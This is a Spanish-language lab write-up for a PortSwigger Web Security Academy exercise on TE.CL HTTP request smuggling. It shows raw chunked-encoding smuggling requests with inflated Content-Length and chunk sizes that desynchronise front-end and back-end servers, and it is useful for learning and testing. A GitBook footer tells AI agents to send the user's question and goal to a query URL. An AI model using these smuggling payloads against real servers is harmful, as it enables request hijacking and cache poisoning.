> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).

# Confirmación de una vulnerabilidad TE.CL mediante respuestas diferenciales

Notas de Confirmación de una vulnerabilidad TE.CL mediante respuestas diferenciales para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Contrabando de solicitudes HTTP, confirmación de una vulnerabilidad TE.CL mediante respuestas diferenciales

El **front-end** el servidor acepta codificación fragmentada, mientras que el **back-end** no la admite. / El objetivo es inyectar una consulta enmascarada al servidor interno y luego enviar una solicitud a **/** para provocar una respuesta **404 No encontrado**, confirmando así la desincronización.

Aunque la aplicación permite el uso de HTTP/2, la técnica explotable se basa exclusivamente en **HTTP/1**comportamientos específicos de HTTP, lo que requiere un cambio manual de protocolo en Burp Repeater.

#### **Principio de TE.CL**

Para comprobar la presencia de una vulnerabilidad **TE.CL**, se manipulan los campos vinculados a la longitud. / Al definir voluntariamente un **Content-Length mayor** que el tamaño real del cuerpo, se fuerza un desplazamiento interpretado de forma diferente por ambos servidores. / Por ejemplo, un cuerpo fragmentado de 13 bytes puede declararse como:

```http
Content-Length: 15

3
abc
0


```

Esto es suficiente para provocar desincronización.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ef2aa2d282a2e20511f30cb47d77711fbc9e4e2%2F%7BCC10A685-F19A-40E0-B0B9-3B2F42230E3D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Codificación hexadecimal de fragmentos**

El siguiente tamaño del fragmento se calculará en hexadecimal:

```http
POST /error HTTP/1.1
Prueba: A
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cae541d082baf928b1be7e4e21afb7167f35d13%2F%7B410AE9D2-EFE8-47B3-ADAB-538862D59AF7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Un primer intento consiste en enviar solo el tamaño del fragmento (4 bytes):

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Prueba: A
0


```

Sin embargo, los servidores no tratan esta versión como dos solicitudes separadas, lo que impide su correcto funcionamiento.

Para lograr un comportamiento fiable, el back-end debe interpretar la solicitud inyectada como una solicitud HTTP válida. / El campo **Content-Length** se «infla» al enviar un fragmento mayor:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

Al enviar esta solicitud **en dos ocasiones**, se produce la desincronización y el ataque funciona como se espera.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-995776347fe5e63cb861aa9d9ed2dcb0ef98cad7%2F%7B3D43055B-50F5-4DD2-8C08-AD1E632BF3D5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
